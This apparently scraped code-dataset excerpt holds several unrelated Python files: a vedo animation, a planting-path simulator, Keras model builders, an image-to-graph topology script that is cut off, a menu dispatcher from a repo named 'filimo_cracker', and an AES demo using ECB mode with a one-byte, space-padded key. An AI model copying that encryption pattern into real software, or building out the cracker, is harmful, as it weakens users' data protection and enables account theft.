landmark\n\n\"\"\"Draw the shadows and trailing lines of 2 planes. Not really\na simulation.. just a way to illustrate how to move objects around!\"\"\"\n\"\"\"Simulation of a block connected to a spring in a viscous medium\"\"\"\nfrom vedo import *\n\npts = [[0,0,0],\n [0.5,0.6,0.8],\n [1,1,1]]\ngpts = Points(pts, r=10).c('green',0.5)\n\n# Create a spline where the final points are more dense (easing)\nline = Spline(pts, easing=\"OutCubic\", res=100)\n\nvpts = line.clone().shift(0,0.1,0) # a dotted copy\n\n# Calculate positions as a fraction of the length of the line,\n# being x=0 the first point and x=1 the last point.\n# This corresponds to an imaginary point that travels along the line\n# at constant speed:\nequi_pts = Points([line.eval(x) for x in np.arange(0,1, 0.1)]).c('blue')\n\nredpt = Point(r=25).c('red')\nplt = show(vpts, gpts, line, redpt, equi_pts, axes=1, interactive=0)\n# Animation\nfor i in range(len(line.points())):\n x = line.points(i)\n redpt.pos(x) # assign the new position\n plt.render()\nplt.interactive().close()","repo_name":"s-triar/tooth-aligner","sub_path":"coba2.py","file_name":"coba2.py","file_ext":"py","file_size_in_byte":3521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37723514988","text":"end=(\"ABBBBCCCCCAB\")\ni=0\nwhile i<=(len(end)-1):\n count=1\n ch=end[i]\n j=1\n while (j {c.C}\"))\n #Run\n self.CheCk()\n #Check\n def CheCk(self):\n if self.s==\"Cambo\":\n Cambo.CamBo().__init__()\n elif self.s == \"UseR_OnE\":\n UseR.UseR().__init__()\n elif self.s == \"UseRLeeCheR\":\n UseRL.UseRLeeCheR().__init__()\n else:\n print(f\"{c.R}ErroR {c.G}-_-{c.W}\\n\")\n exit()\nCrack()\n","repo_name":"MOHQ-TM/filimo_cracker","sub_path":"Crack.py","file_name":"Crack.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28591110184","text":"import boustrophedon, graph, way, numpy as np\nfrom additional_methods import create_timestamp_for_plant_generation, create_ordered_list_points, animate\nfrom api_methods import save_caller, get_field\nfrom plant_generation import PlantGeneration\n\ndef plant_trees(field_id, planter_run, base_url='', api_token=''):\n # The arguments required for executing the method\n\n # Reading of one specific run\n field_number, field_name, planter_run_id, coordinates_for_one_field = get_field(field_id, planter_run, base_url=base_url, api_token=api_token)\n pg = PlantGeneration(field_id, planter_run, field_number, field_name, planter_run_id, coordinates_for_one_field)\n\n # Matrix composed of 1s and 0s, 1 denotes an obstacle and 0 a field\n matrix = pg.adj_matrix\n node_edge_point = pg.node_edge_point\n # Currently no in-field obsticles\n node_barrier_point = []\n mc = boustrophedon.Boustrophedon(matrix)\n # Matrix with numbers representing cell decomposition, 1s irepresent obsticales, the other numbers are shiffted + 1 from the visualization\n matrix = mc.final_decomposition()\n # Cell number is the max number of cells present in the cell docomposition\n graph_result = graph.Graph(matrix, mc.cell_number)\n # Nb_cells x Nb_cells interconnection between cells represent through the matrix, at position A_01 = 1 if 1st cell has a connection to 2nd same at A_10 = 1\n matrix_dependencies = graph_result.graph()\n print(\"Matrix dependencies or graph matrix\" + str(matrix_dependencies))\n\n way_result = way.Way(matrix_dependencies)\n # Order of the cells that need to be visited\n sequence = way_result.DFS_Algorithm()\n print(\"The sequence is :\" + str(sequence))\n\n # Not sure whether this is needed\n # final_point = points.Points(matrix, sequence, node_edge_point, node_barrier_point)\n # print(final_point)\n # Not sure whether this is needed\n\n ordered_list_points = create_ordered_list_points(sequence, matrix)\n # for the time\n matrix_for_time = create_timestamp_for_plant_generation(pg, ordered_list_points, pg.speed_of_tractor, pg.time_needed_for_planting)\n # set the value for the previous x coordinate, used for identifying the rows in the field\n pg.previous_x = pg.get_coordinate(ordered_list_points[0][0], ordered_list_points[0][1]).x\n print(\"Num of points: \" + str(np.shape(ordered_list_points)))\n\n save_caller(pg, ordered_list_points, base_url=base_url, api_token=api_token)\n","repo_name":"DigiVine-DE/PlanterSimulator","sub_path":"start_bcd_v2.py","file_name":"start_bcd_v2.py","file_ext":"py","file_size_in_byte":2453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1690098740","text":"# -*- coding: utf-8 -*-\nfrom Crypto.Cipher import AES\n\n# 秘钥和文本都是byte类型\n# 拼接文本,文本长度需为16的倍数,不足则拼接空格\ndef splice(text):\n while len(text) % 16 != 0:\n text += b' '\n return text\n# 拼接秘钥,秘钥长度需为16的倍数,不足则拼接空格\ndef splice_key(key):\n while len(key) % 16 != 0:\n key += b' '\n return key\n\n\nif __name__ == '__main__':\n key = b'2' # 秘钥\n aes = AES.new(splice_key(key), AES.MODE_ECB) # 根据秘钥初始化加密器\n text = b'jiamiwenben' # 加密文本\n\n encrypted_byte = aes.encrypt(splice(text)) # 使用加密器的加密方法对文本进行加密,返回加密结果(byte类型)\n print(\"encrypted_byte: \", encrypted_byte)\n\n decrypt_byte = aes.decrypt(encrypted_byte) # 使用加密器的解密方法对文本进行解密,返回解密结果(byte类型)\n print(\"decrypt_str: \", str(decrypt_byte, encoding='utf-8', errors=\"ignore\")) # 将字节类型转为str类型,错误编码忽略不计","repo_name":"hpcll/test","sub_path":"rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13934537580","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on Feb 4, 2020, 00:19:06\n@author: dianwen\n\"\"\"\nfrom efficientnet import EfficientNetB3\nfrom keras.layers import Dense, Input\nfrom keras.models import Model\nfrom keras.layers import Conv2D, DepthwiseConv2D, SeparableConv2D\nfrom keras.layers import BatchNormalization, Dropout, Add\nfrom keras.layers import LeakyReLU, MaxPooling2D, GlobalAveragePooling2D\nfrom keras.applications.densenet import DenseNet201, DenseNet169, DenseNet121\n\n##################################\n### EfficientNet model ###\n##################################\n\ndef EfficientNetModel(input_shape, num_classes, \n weight='imagenet'):\n \n img_input = Input(shape=input_shape)\n backbone = EfficientNetB3(weights=weight,\n include_top=False,\n input_tensor=img_input,\n input_shape=input_shape)\n \n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n predictions = Dense(num_classes, activation='sigmoid', name='predictions')(x)\n \n model = Model(inputs=img_input, outputs=predictions)\n if weight is not 'imagenet' and not None:\n print('loading model weights from pretrained...')\n model.load_weights(weight)\n return model\n\n\n\n#############################\n### DenseNet model ###\n#############################\n\ndef DenseNetModel(input_shape, num_classes, \n weight='imagenet',\n model_type='Dense121'):\n \n img_input = Input(shape=input_shape)\n if model_type == 'Dense121':\n backbone = DenseNet121(weights=weight,\n include_top=False,\n input_tensor=img_input,\n input_shape=input_shape)\n elif model_type == 'Dense169':\n backbone = DenseNet169(weights=weight,\n include_top=False,\n input_tensor=img_input,\n input_shape=input_shape)\n elif model_type == 'Dense201':\n backbone = DenseNet201(weights=weight,\n include_top=False,\n input_tensor=img_input,\n input_shape=input_shape)\n else:\n return 'Error: no such model. Try specifying \"Dense121\", \"Dense169\" or \"Dense201\".'\n \n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n predictions = Dense(num_classes, activation='sigmoid', name='predictions')(x)\n \n model = Model(inputs=img_input, outputs=predictions)\n if weight is not 'imagenet' and not None:\n print('loading model weights from pretrained...')\n model.load_weights(weight)\n return model\n\n\n##############################\n### ResNet model ###\n##############################\n\nfrom keras.applications.resnet50 import ResNet50\ndef ResNetModel(input_shape, num_classes,\n weight='imagenet'):\n img_input = Input(shape=input_shape)\n backbone = ResNet50(weights=weight,\n include_top = False,\n input_tensor=img_input,\n input_shape=input_shape)\n x = backbone.output\n x = GlobalAveragePooling2D()(x)\n predictions = Dense(num_classes, activation='sigmoid', name='predictions')(x)\n \n model = Model(inputs=img_input, outputs=predictions)\n if weight is not 'imagenet' and not None:\n print('loading model weights from pretrained...')\n model.load_weights(weight)\n return model\n\n\n\n# ~~~~~~~~~~ Enable multi GPU training ~~~~~~~~~~~~~~~\nfrom keras.utils import multi_gpu_model\nclass ModelMGPU(Model):\n def __init__(self, ser_model, gpus):\n pmodel = multi_gpu_model(ser_model, gpus)\n self.__dict__.update(pmodel.__dict__)\n self._smodel = ser_model\n\n def __getattribute__(self, attrname):\n '''Override load and save methods to be used from the serial-model. The\n serial-model holds references to the weights in the multi-gpu model.\n '''\n if 'load' in attrname or 'save' in attrname:\n return getattr(self._smodel, attrname)\n else:\n #return Model.__getattribute__(self, attrname)\n return super(ModelMGPU, self).__getattribute__(attrname)","repo_name":"dianwen-ng/NLP_RAD_relabelled_NIH_CXR","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74321617442","text":"#!/usr/bin/env python\n\n\"\"\"Extract a graph given a raster image. \nSave a csv file with info about nodes and edges of a network obtained from the skeleton of an image.\n\nThe part of the image that is analysed is the part with the colour specified in the \"analyse_png\" function \n(e.g. color = '(255, 255, 255)' to keep the parts in white)\n\nsource of original script: https://github.com/danvk/extract-raster-network\n\n\nUSAGE:\npython3 /path/to/extract_topology.py (don't crop the image) \npython3 /path/to/extract_topology.py w (whole domain of images generated with python script save_bb_figure.py)\nor \npython3 /path/to/extract_topology.py t\npython3 /path/to/extract_topology.py b (top part or bottom part only)\n\nINPUT:\nreads all the images called \"py_bb_*.png\" in the directory it is run from\n\nOUTPUT:\n\"py_branch_info.csv\", \"py_branch_info_top.csv\" or \"py_branch_info_bot.csv\", depending on which part was analysed (whole figure, top only or bottom only)\nwhich contains \n\nGiulia's edits: \n- use thin instead of skeletonize\n- can open rectangular images, not just square\n- save plot using networkx graphs\n- get info about branches (e.g. length) and nodes according to their degree (= n of connections)\n 1 = isolated, I nodes\n 3 = Y node\n 4 = X node\n\n 2 = n_2\n 5 = n_5\n\ncrop images:\n\n# Setting the points for cropped image\nthe background (no fractures) must be set to blue.\nThe code detects the minimum and maximum blue pixel in the x and y direction and sets \nthe boundaries from cropping there (if full domain is chosen, option 'w'), or at fractions\nof the domain height (if only top or bottom parts are requested)\n\nOn ARC: works with python 3.9, in the conda env extr_py39\n\"\"\"\n\nimport sys\nfrom collections import Counter\nfrom dataclasses import dataclass\nfrom typing import List, Tuple\n\nimport cv2 # conda install -c conda-forge opencv\nimport networkx as nx\nimport numpy as np\nimport scipy.ndimage.measurements\nimport shapely.geometry\nfrom PIL import Image, ImageFilter\nfrom skimage import morphology, segmentation # most problematic: install this first\nimport matplotlib.pyplot as plt\nimport os\nimport csv\nimport glob\nimport re # regex\nimport math\n\n# sys.path.append('/home/home01/scgf/myscripts/post_processing') # where to look for useful_functions.py\n# from useful_functions import getTimeStep\n\n\ndef find_color(im: Image, rgb: Tuple[int]) -> np.ndarray:\n \"\"\"Given an RGB image, return an ndarray with 1s where the pixel is the given color.\"\"\"\n px = np.asarray(im)\n # print(f'px shape: {px.shape}')\n # print(f'im size: {im.size}')\n width, height = im.size # get width and height because I need to invert these\n # print(f'width {width}, height {height}')\n out = np.zeros((height,width), dtype=np.uint8) # h,w instead of w,h because PIL treats them the other way round\n # print(f'out shape: {out.shape}')\n\n r, g, b = rgb\n out[(px[:, :, 0] == r) & (px[:, :, 1] == g) & (px[:, :, 2] == b)] = 1\n return out\n\ndef getTimeStep(inputFile):\n with open(inputFile) as iFile:\n for num, line in enumerate(iFile,1):\n if \"Tstep\" in line:\n input_tstep = line.split(\" \")[1] # split before and after space, take the second word (value of timestep)\n return input_tstep \n\ndef zhang_suen_node_detection(skel: np.ndarray) -> List[Tuple[int]]:\n \"\"\"Find nodes based on a skeletonized bitmap.\n\n (From nefi) Node detection based on criteria put forward in \"A fast parallel algorithm\n for thinning digital patterns\" by T. Y. Zhang and C. Y. Suen. Pixels p of the skeleton\n are categorized as nodes/non-nodes based on the value of a function A(p) depending on\n the pixel neighborhood of p. Please check the above paper for details.\n\n A(p1) == 1: The pixel p1 sits at the end of a skeleton line, thus a node\n of degree 1 has been found.\n A(p1) == 2: The pixel p1 sits in the middle of a skeleton line but not at\n a branching point, thus a node of degree 2 has been found. Such nodes are\n ignored and not introduced to the graph.\n A(p1) >= 3: The pixel p1 belongs to a branching point of a skeleton line,\n thus a node of degree >=3 has been found.\n\n Args:\n *skel* : Skeletonised source image. The skeleton must be exactly 1 pixel wide.\n\n Returns:\n *nodes* : List of (x, y) coordinates of nodes\n \"\"\"\n skel = np.pad(skel, 1)\n item = skel.item\n\n def check_pixel_neighborhood(x, y, skel):\n \"\"\"\n Check the number of components around a pixel.\n If it is either 1 or more than 3, it is a node.\n \"\"\"\n p2 = item(x - 1, y)\n p3 = item(x - 1, y + 1)\n p4 = item(x, y + 1)\n p5 = item(x + 1, y + 1)\n p6 = item(x + 1, y)\n p7 = item(x + 1, y - 1)\n p8 = item(x, y - 1)\n p9 = item(x - 1, y - 1)\n\n # The function A(p1),\n # where p1 is the pixel whose neighborhood is beeing checked\n components = (\n (p2 == 0 and p3 == 1)\n + (p3 == 0 and p4 == 1)\n + (p4 == 0 and p5 == 1)\n + (p5 == 0 and p6 == 1)\n + (p6 == 0 and p7 == 1)\n + (p7 == 0 and p8 == 1)\n + (p8 == 0 and p9 == 1)\n + (p9 == 0 and p2 == 1)\n )\n return (components >= 3) or (components == 1)\n\n nodes = []\n w, h = skel.shape\n for x in range(1, w - 1):\n for y in range(1, h - 1):\n if item(x, y) != 0 and check_pixel_neighborhood(x, y, skel):\n nodes.append((x - 1, y - 1))\n return nodes\n\n\ndef find_dense_skeleton_nodes(skel: np.ndarray) -> List[Tuple[int, int]]:\n \"\"\"Find \"dense\" (2x2 or larger) regions in the skeleton.\"\"\"\n eroded = morphology.binary_erosion(np.pad(skel, 1), np.ones((2, 2)))[1:-1, 1:-1]\n\n # Find the centers of mass of connected components\n labeled_array, num_features = scipy.ndimage.measurements.label(eroded)\n centers = scipy.ndimage.measurements.center_of_mass(eroded, labeled_array, [*range(1, num_features+1)])\n return [(int(x), int(y)) for (x, y) in centers]\n\n\ndef add_dense_nodes(nodes: List[Tuple[int, int]], dense_nodes: List[Tuple[int, int]], min_distance = 5) -> List[Tuple[int, int]]:\n \"\"\"Add in new nodes which are distinct from the old ones.\"\"\"\n keep = []\n min_d2 = min_distance ** 2\n for node in dense_nodes:\n x, y = node\n is_ok = True\n for nx, ny in nodes:\n d2 = (x - nx) **2 + (y - ny) ** 2\n if d2 < min_d2:\n is_ok = False\n break\n if is_ok:\n keep.append(node)\n\n print(f'Adding {len(keep)}/{len(dense_nodes)} dense nodes to existing {len(nodes)} nodes.')\n return [*nodes, *keep]\n\n\n@dataclass\nclass Path:\n start: Tuple[int, int]\n stop: Tuple[int, int]\n path: List[Tuple[int, int]]\n\n\ndef is_new_path(paths: List[Path], path: Path) -> bool:\n \"\"\"Is this a new path, or does it overlap signficantly with existing paths?\"\"\"\n candidates = [p for p in paths if p.start == path.start and p.stop == path.stop]\n other_points = {coord for p in candidates for coord in p.path[1:-1]}\n interior = set(path.path[1:-1])\n if other_points & interior:\n return False\n return True\n\n\ndef is_valid_self_loop(path: List[Tuple[int, int]], min_self_loop_distance: int) -> bool:\n if len(path) < min_self_loop_distance:\n return False\n # Only the end node can appear twice in a self-loop\n return len([c for c, n in Counter(path).items() if n >= 2]) == 1\n\n\ndef find_paths(skel: np.ndarray, nodes: List[Tuple[int]], min_distance=4) -> List[Path]:\n \"\"\"Find paths between nodes in the graph using the connectivity in the skeleton.\n\n This returns a list of edges (pairs of nodes) with the following properties.\n - path: list of coordinates connecting the nodes (including the nodes)\n - d: length of the path\n\n This will early-out if a path shorter than min_distance is found.\n\n There may be multiple distinct paths between the same nodes, or a path between a node and itself.\n \n I think min_distance is for pruning -> getting rid of a branch, completely\n \"\"\"\n \n width, height = skel.shape\n # if width > 2000:\n # min_distance=4\n def neighbors(x, y):\n for dy in (-1, 0, 1):\n cy = y + dy\n if cy < 0 or cy >= height:\n continue\n for dx in (-1, 0, 1):\n cx = x + dx\n if (dx != 0 or dy != 0) and 0 <= cx < width and skel[cx, cy]:\n yield cx, cy\n\n # each cell points back to its parent\n parents = {n: None for n in nodes}\n\n def trace_back(node):\n trace = []\n while node:\n trace.append(node)\n node = parents.get(node)\n return trace\n\n d = {n: 0 for n in nodes} # used to avoid backtracking\n\n edges = []\n frontier = [*nodes]\n while frontier:\n next_frontier = []\n for n in frontier:\n x, y = n\n for c in neighbors(x, y):\n if c not in parents:\n parents[c] = n\n next_frontier.append(c)\n d[c] = 1 + d[n]\n else:\n if d[c] >= d[n]:\n # we've got a connection! Follow both cells back to trace it out\n tn = trace_back(n)\n tc = trace_back(c)\n tc.reverse()\n path = [*tc, *tn]\n endpoints = (path[0], path[-1])\n start, stop = min(endpoints), max(endpoints)\n new_path = Path(start, stop, path)\n # Ignore redundant paths and short self-loops\n if is_new_path(edges, new_path) and (\n start != stop or is_valid_self_loop(path, min_distance)\n ):\n edges.append(new_path)\n if len(path) - 1 < min_distance:\n # This edge will get pruned out anyway, so no need to keep looking.\n return edges\n\n frontier = next_frontier\n\n return edges\n\n\ndef merge_nodes(\n nodes: List[Tuple[int, int]], edges: List[Path], n1: Tuple[int, int], n2: Tuple[int, int]\n) -> List[Tuple[int, int]]:\n ends = {n1, n2}\n paths = [e.path for e in edges if {e.start, e.stop} == ends]\n assert paths\n path = min(paths, key=lambda p: len(p))\n idx = len(path) // 2\n new_node = path[idx]\n return [new_node] + [n for n in nodes if n != n1 and n != n2] # add new, ignore the two merged\n\n# def check_angle_between_branches()\n\ndef make_graph(nodes: List[Tuple[int, int]], edges: List[Path]) -> nx.MultiGraph:\n g = nx.MultiGraph()\n g.add_nodes_from(nodes)\n for edge in edges:\n g.add_edge(edge.start, edge.stop, path=edge.path, d=len(edge.path) - 1)\n return g\n\n\ndef connect_graph(skel: np.ndarray, min_distance: int) -> nx.MultiGraph:\n \"\"\"Iteratively produce a graph, merging nodes until none are < min_distance apart.\n zhang_suen_node_detection -> nodes\n find_dense_skeleton_nodes -> dense nodes\n add_dense_nodes -> nodes (old+new)\n find_paths -> edges\n\n while loop until no further changes:\n if d < min_distance:\n merge_nodes\n\n \"\"\"\n nodes = zhang_suen_node_detection(skel) # original\n\n # the following lines are to save the graph before the edits in the while loop\n # edges = find_paths(skel, nodes, min_distance)\n # g = make_graph(nodes, edges)\n\n # plot\n # im = Image.open('medianfilter.png') # open the image saved earlier\n # ax = draw_nx_graph(im,g)\n # plt.savefig('g01zhang')\n # plt.clf()\n\n dense_nodes = find_dense_skeleton_nodes(skel) # original\n nodes = add_dense_nodes(nodes, dense_nodes) # original\n edges = find_paths(skel, nodes, min_distance) # original\n \n\n any_changed = True\n while any_changed:\n any_changed = False\n for edge in edges:\n d = len(edge.path) - 1\n if d < min_distance: # if they are too close to each other: merge them\n n1 = edge.start\n n2 = edge.stop\n nodes = merge_nodes(nodes, edges, n1, n2)\n edges = find_paths(skel, nodes, min_distance)\n print(f'Merged {n1} and {n2}, d={d}')\n any_changed = True\n break\n\n # All good!\n return make_graph(nodes, edges)\n\n\ndef simplify_paths(g: nx.Graph, tolerance=1) -> nx.Graph:\n for n1, n2, k in g.edges(keys=True):\n g[n1][n2][k]['path'] = shapely.geometry.LineString(g[n1][n2][k]['path']).simplify(tolerance)\n return g\n\n\ndef extract_network(px: np.ndarray, im: Image, min_distance=7) -> nx.Graph: # was 12\n skel = morphology.thin(px)\n print(f'Skeleton px={skel.sum()}')\n g = connect_graph(skel, min_distance)\n # ax = draw_nx_graph(im, g)\n # plt.savefig(\"g04connect_graph.png\",dpi=200)\n # plt.clf()\n\n # simplify:\n g = simplify_paths(g)\n \n to_remove = [] # edges that need to be removed because they are duplicates\n for u, v, key in g.edges(keys=True):\n if key > 0:\n # this is a duplicate!\n print(f'key is {key} in {u}, {v}')\n to_remove.append((u, v, key))\n g.remove_edges_from(to_remove)\n\n return g\n\n\ndef draw_nx_graph(im: Image, g: nx.Graph) -> None:\n \"\"\" Takes the graph \"g\", plots it according to node and edge coordinates. \n Returns a figure, which can then be visualised with plt.show() or saved with plt.savefig(out_path) \"\"\"\n # fig, ax = plt.subplots()\n # print(list(g.degree)[0])\n all_degrees = dict(nx.degree(g)).values()\n # degrees = [x for x in list(g.degree)]\n lab = dict(zip(g.nodes(), all_degrees))\n pos = {point: point for point in g.nodes()} # save nodes in a format that can be used as position when plotting\n ax = nx.draw(g,pos=pos,node_size=5)\n # nx.draw_networkx_labels(g,pos=pos,labels=degrees,ax=ax)\n \n # node labels:\n pos_higher = {}\n x_off = 5 # offset on the x axis\n\n for k, v in pos.items():\n pos_higher[k] = (v[0]+x_off, v[1])\n nx.draw_networkx_labels(g,pos=pos_higher,ax=ax,labels=lab,font_weight='bold',font_color='r',font_size=3) # degrees only\n \n #edge labels\n edge_d = [(\"{:.2f}\".format(d)) for (u,v,d) in g.edges.data('d')] # distance values are stored under the attribute \"d\"\n edge_or = [(\"{:.2f}\".format(o)) for (u,v,o) in g.edges.data('orientation')] # get the attribute \"orientation\"\n edge_d_or = [d+\", \"+o for d,o in zip(edge_d,edge_or)]\n edge_lab = dict(zip(g.edges(),edge_d_or)) # create a dictionary that can be used to plot labels\n # print(f'edge_lab{edge_lab}')\n # print('edge_lab '+str(edge_lab))\n bbox_options = {\"boxstyle\":'round', \"ec\":(1.0, 1.0, 1.0), \"fc\":(1.0, 1.0, 1.0), \"alpha\": 0.7}\n nx.draw_networkx_edge_labels(g,pos=pos,edge_labels=edge_lab,ax=ax,font_size=5,bbox=bbox_options)\n\n plt.axis(\"on\") # show the axes\n plt.axis('equal') # keep true aspect ratio\n plt.gca().invert_yaxis() # invert y axis because images start y=0 in the top left corner\n plt.imshow(im)\n return ax\n # plt.gca().invert_xaxis()\n #plt.savefig(out_path) \n # plt.show()\ndef get_timestep():\n \"\"\" check if there is an input.txt file. If there is, look for the timestep.\n If not, return 0 \"\"\"\n if os.path.isfile(\"input.txt\"):\n return float(getTimeStep(\"input.txt\")) # needed to calculate time (1st row of csv)\n else:\n return 0 # in case there is no input.txt (e.g. field image)\n\ndef draw_rose_diagram(g: nx.Graph,proportional: bool):\n \"\"\"\n get the orientations from the graph and plot them in a rose diagram\n proportional = if it should use weights when building the rose diagram\n \"\"\"\n #prepare data\n #angles = np.array([168.6900675259798, 59.14124477892943, 68.96248897457819, 121.15272609593733, 124.28687697720896, 59.748306649964874])\n angles = np.array([o for (u,v,o) in g.edges.data('orientation')]) # get the attribute \"orientation\"\n \n bins = np.arange(-5, 366, 10)\n if proportional:\n lengths = np.array([d for (u,v,d) in g.edges.data('d')]) # get the attribute \"length\", in \"d\"\n # print(f'lengths: {lengths}\\nmin: {np.min(lengths)}, max: {np.max(lengths)}')\n if np.max(lengths)-np.min(lengths) != 0:\n # normalise lengths so that they go from 0 to 1\n lengths_norm = (lengths-np.min(lengths))/(np.max(lengths)-np.min(lengths))\n else:\n # if they are all the same length, or if there is only one, \n # the normalised version of the array is 1 over their number (e.g. 1 in the case of 1 edge)\n lengths_norm = np.ones(len(lengths))/len(lengths) \n # use lengths as weights for the histogram\n angles_in_bins, bins = np.histogram(angles, bins,weights=lengths_norm)\n else:\n angles_in_bins, bins = np.histogram(angles, bins)\n\n # Sum the last value with the first value.\n angles_in_bins[0] += angles_in_bins[-1]\n\n # shouldn't be necessary, but in case there are angles > 180, sum them to their corresponding \n # angle between 0 and 180. This way the result is symmetric: bottom half is the same \n # as top half but mirrored\n single_half = np.sum(np.split(angles_in_bins[:-1], 2), 0)\n full_range = np.concatenate([single_half,single_half]) # repeat the sequence twice\n ax = draw_rose_plot(full_range)\n\n return ax\n\ndef calculate_rose(g: nx.Graph):\n bins = np.arange(-5, 366, 10)\n angles = np.array([o for (u,v,o) in g.edges.data('orientation')]) # get the attribute \"orientation\"\n lengths = np.array([d for (u,v,d) in g.edges.data('d')])\n\n if np.max(lengths)-np.min(lengths) != 0:\n # normalise lengths so that they go from 0 to 1\n lengths_norm = (lengths-np.min(lengths))/(np.max(lengths)-np.min(lengths))\n else:\n # if they are all the same length, or if there is only one, \n # the normalised version of the array is 1 over their number (e.g. 1 in the case of 1 edge)\n lengths_norm = np.ones(len(lengths))/len(lengths) \n\n angles_in_bins, bins = np.histogram(angles, bins,weights=lengths_norm)\n angles_in_bins[0] += angles_in_bins[-1] # Sum the last value with the first value.\n single_half = np.sum(np.split(angles_in_bins[:-1], 2), 0)\n full_range = np.concatenate([single_half,single_half]) # repeat the sequence twice\n return full_range\n\ndef draw_rose_plot(full_range: np.ndarray):\n # make plot\n fig = plt.figure(figsize=(8,8))\n ax = fig.add_subplot(111, projection='polar')\n\n\n\n ax.set_theta_zero_location('N') # zero starts at North\n ax.set_theta_direction(-1)\n # ax.set_thetagrids(np.arange(0, 360, 10), labels=np.arange(0, 360, 10))\n # ax.set_rgrids(np.arange(1, full_range.max() + 1, 2), angle=0, weight= 'black')\n # the height of each bar is the number of angles in that bin\n ax.grid(False)\n ax.bar(np.deg2rad(np.arange(0, 360, 10)), full_range, \n # width=np.deg2rad(10), bottom=0.0, color=(1, 0, 0, 0.5), edgecolor='k')\n width=np.deg2rad(10), bottom=0.0, color=(1, 0, 0), edgecolor='r')\n return ax\n\ndef topo_analysis(g: nx.Graph,tstep_number: float) -> dict:\n \"\"\"\n Perform topological analysis. \n Mostly based on Sanderson, D. J., & Nixon, C.\n W. (2015). The use of topology in fracture network characterization. Journal\n of Structural Geology, 72, 55-66. https://doi.org/10.1016/j.jsg.2015.01.005\n\n attributes of g are: .edges .degree g.nodes()\n attributes of .edges are: .edges.data('d') = distance\n \"\"\"\n\n edge_lengths = [d for (u,v,d) in g.edges.data('d')] # distance values are stored under the attribute \"d\"\n print(f'branch lengths: {edge_lengths}')\n\n input_tstep = get_timestep()\n\n # print(f'g.edges: {g.edges(data=True)}') # print edges and all of their attributes\n # print(f'attributes for edges: {list(list(g.edges(data=True))[0][-1].keys())}')\n # print(f'edge_d: {edge_d}, type: {type(edge_d)}') \n # all_degrees = (nx.degree(g)).values()\n all_degrees = [x for ((u,v),x) in list(g.degree)]\n n_1 = all_degrees.count(1) # number of isolated (I) nodes\n n_2 = all_degrees.count(2) # numbner of nodes with 2 connections\n n_3 = all_degrees.count(3) # number of nodes with 3 connections\n n_4 = all_degrees.count(4) # etc\n n_5 = all_degrees.count(5) \n n_0 = all_degrees.count(0) \n\n n_I = n_1 + n_0 # I nodes\n n_Y = n_2 + n_3 # Y nodes\n n_X = n_4 + n_5 # X nodes\n\n #connected = [x for x in all_degrees if (x!=1)]\n # print(f'all_degrees: {all_degrees}')\n print(f'num of I: {n_I}, Y: {n_Y}, X: {n_X}. tot = {n_I+n_Y+n_X}')\n\n # assert len(g.nodes())==n_I+n_Y+n_X, \"Error: some of the nodes have not been taken into account. There might have too many connections.\"\n \n n_of_lines = 0.5*(n_1+n_Y)\n print(f'lines: {n_of_lines}')\n n_of_branches = 0.5*(n_I+3*n_3+4*n_4+5*n_5) + n_2 + n_0\n # branches_to_line = n_of_branches / n_of_lines\n # print(f'branches/lines: {branches_to_line}')\n branches_tot_length = sum(edge_lengths)\n # print(f'branches tot length: {branches_tot_length}')\n branch_info = {\"time\":tstep_number*input_tstep,\"n_I\":n_I,\"n_2\":n_2,\"n_3\":n_3,\"n_4\":n_4,\"n_5\":n_5,\n \"branches_tot_length\":branches_tot_length} # dictionary with info that I just calculated\n return branch_info\n\ndef orientation_calc(g: nx.Graph) -> nx.Graph:\n \"\"\"\n Calculate the orientation of the edges. Add it to the edge attributes\n \"\"\"\n \n for e in g.edges(): \n x1,y1=e[0]; x2,y2=e[1] # extract individual node coordinates from edge \n if (x1-x2) != 0: # not horizontal \n angle = math.atan( -(y1-y2)/(x1-x2) ) * 180 / math.pi # angle in degrees.\n else:\n angle = 0\n if angle<0:\n angle = angle + 180 # second and fourth quadrant\n g[e[0]][e[1]][0]['orientation']=angle # to access edges: e0, e1, key, attribute\n # print(x1,y1,x2,y2,angle)\n # print(g.edges(keys=True)) # I used to have duplicate, and they had key = 1\n # print([o for (u,v,o) in g.edges.data('orientation')])\n return g\n\ndef analyse_png(png_file: str, part_to_analyse: str) -> dict:\n color = '(255, 255, 255)' # select the colour: do the analysis on the white parts\n # color = '(0, 0, 0)' # select the colour: do the analysis on the black parts\n assert color[0] == '('\n assert color[-1] == ')'\n rgb = tuple(int(v) for v in color[1:-1].split(','))\n assert len(rgb) == 3\n assert png_file.endswith('.png')\n print(f'file is {png_file}')\n timestep_number = float(re.findall(r'\\d+',png_file)[0]) # regex to find numbers in string. Then convert to float. Will be used to name the csv file \n \n pim = Image.open(png_file).convert('RGB') # Load image, convert to rgb\n im_array = np.array(pim) # make into Numpy array\n im = Image.open(png_file)\n\n # Define blue - this is the image background, = no fractures\n blue = [0,0,255]\n if part_to_analyse != 'f':\n # Get X and Y coordinates of all blue pixels\n Y, X = np.where(np.all(im_array==blue,axis=2))\n \n\n left = min(X)+5; top = min(Y)+7; right = max(X)-5; bottom = max(Y)-5 # auto from blue\n height = bottom - top\n # print(left,top,right,bottom)\n\n crop_im = 1\n # if part_to_analyse == 'w': # whole domain - this is the default!\n # Setting the points for cropped image\n\n if part_to_analyse == 'w':\n out_path = \"p_\"+png_file.replace('.png', '_nx')\n\n elif part_to_analyse == 'b':\n top = top + 0.9*height # BOTTOM - melt-production zone\n out_path = \"p_bot_\"+png_file.replace('.png', '_nx')\n\n elif part_to_analyse == 't':\n # remove 0.1 of the original domain height from the bottom\n bottom = bottom - 0.1*height # TOP = melt-production zone - if prod zone is 0-0.1\n out_path = \"p_top_\"+png_file.replace('.png', '_nx')\n \n elif part_to_analyse 